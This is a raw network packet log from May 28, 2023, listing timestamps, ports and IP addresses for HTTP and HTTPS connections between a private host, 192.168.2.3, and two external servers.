May 28, 2023 10:42:53.763830900 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763834953 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763847113 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763866901 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763884068 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763899088 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763925076 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763928890 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763945103 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763961077 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.763978958 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.763991117 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.764004946 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.764024019 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.764039993 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.764055014 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.764070034 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.764086008 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.764102936 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.764117002 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.764132977 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.764149904 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.764180899 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.764184952 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.764214993 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.764221907 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.764240980 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.764246941 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.764295101 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.764297009 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.764297009 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.764358997 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.791991949 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.792047024 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.792078018 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.792079926 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.792113066 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.792119026 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.792143106 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.792146921 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.792167902 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.792184114 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.792201042 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.792217970 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.792241096 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.792251110 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.792294979 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.792294979 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.792305946 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.792340994 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.792363882 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.792373896 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.792412043 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.792457104 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.797179937 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797228098 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797261000 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797292948 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797324896 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797338009 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.797358036 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797370911 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.797391891 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797415972 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.797425032 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797457933 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797488928 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797513008 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.797514915 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797548056 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797550917 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.797580957 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797606945 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797637939 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797637939 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.797666073 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.797672033 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797704935 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797736883 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797759056 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.797769070 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797784090 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.797801971 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797833920 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797864914 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797889948 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.797897100 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797910929 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.797930956 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797961950 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.797992945 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798016071 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798024893 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798048019 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798058987 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798089981 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798122883 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798149109 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798161030 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798171043 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798197031 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798228979 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798258066 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798259020 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798297882 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798324108 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798326015 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798360109 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798391104 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798404932 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798422098 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798449039 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798477888 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798480034 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798511982 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798542976 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798554897 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798554897 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798577070 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798609018 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798628092 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798640013 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798672915 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798690081 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798705101 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798737049 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798768044 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798798084 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798799038 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798830986 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798840046 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798863888 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798882961 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798896074 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798928022 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798958063 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.798975945 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.798989058 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799015999 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.799024105 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799057007 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799088955 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799105883 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.799118996 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799151897 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799169064 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.799185991 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799212933 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799232960 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.799245119 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799259901 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.799309969 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799340963 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799360991 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.799372911 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799405098 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799437046 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799460888 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.799468994 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799501896 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799532890 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799536943 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.799556017 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.799565077 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799597025 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799617052 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.799628019 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799659967 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799679995 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.799693108 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799724102 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799743891 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.799756050 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799787998 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799818039 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799849033 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799855947 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.799877882 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.799880981 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799915075 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799937010 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.799947023 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.799978971 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800009966 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800040007 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800041914 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800074100 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800076962 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800105095 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800122023 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800136089 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800169945 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800200939 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800225019 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800232887 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800278902 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800282955 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800318003 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800355911 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800385952 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800396919 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800417900 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800420046 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800450087 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800481081 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800507069 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800512075 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800533056 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800544024 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800575972 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800607920 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800626040 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800638914 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800672054 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800698996 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800702095 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800719976 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800735950 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800766945 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800797939 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800817966 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800829887 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800843954 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800864935 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800895929 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800925970 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800952911 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800957918 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.800972939 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.800992012 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.801023006 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.801054001 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.801071882 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.801084995 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.801104069 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.801117897 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.801142931 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.801193953 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:54.318130016 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:54.318201065 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:54.334501982 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:54.334544897 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:54.396380901 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:54.396444082 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:54.396531105 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:54.557133913 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:54.557207108 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:54.573597908 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:54.573643923 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:54.635381937 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:54.635425091 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:54.636228085 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:54.772517920 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:54.772552967 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:54.773430109 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:54.774079084 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:54.774107933 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:54.881542921 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:54.881709099 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:54.887334108 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:54.887345076 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:54.887907982 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:54.888912916 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:54.932280064 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:54.996728897 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:54.996792078 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:54.997278929 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:54.997330904 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.043618917 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.043869972 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.044037104 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.044059992 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.044176102 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.045366049 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.045387983 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.091334105 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.091460943 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.091511011 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.091533899 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.091584921 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.091758966 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.091864109 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.091943979 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.091962099 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.092094898 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.105115891 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.106162071 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.106188059 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.139100075 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.139337063 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.139475107 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.139535904 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.139537096 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.139576912 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.139786005 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.139868975 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.139889002 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.140053988 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.140182972 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.140243053 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.140243053 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.140290976 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.140364885 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.140542984 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.140830994 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.140912056 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.140929937 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.141189098 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.141406059 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.141406059 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.141439915 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.152061939 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.154335976 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.154376030 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.188416958 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.188705921 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.188829899 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.188853979 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.189054966 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.189105988 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.189237118 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.189261913 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.189403057 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.189564943 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.189635992 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.189641953 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.189685106 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.189738035 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.189879894 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.189979076 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.190005064 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.190080881 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.190234900 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.190468073 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.190551996 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.190576077 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.190706968 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.190900087 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.191093922 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.191169977 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.191190958 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.191230059 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.191462994 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.191545963 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.191567898 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.191663980 CEST	443	49723	217.174.148.28	192.168.2.3
May 28, 2023 10:42:55.191797972 CEST	49723	443	192.168.2.3	217.174.148.28
May 28, 2023 10:42:55.191817999 CEST	443	49723	217.174.148.28	192.168.2.3
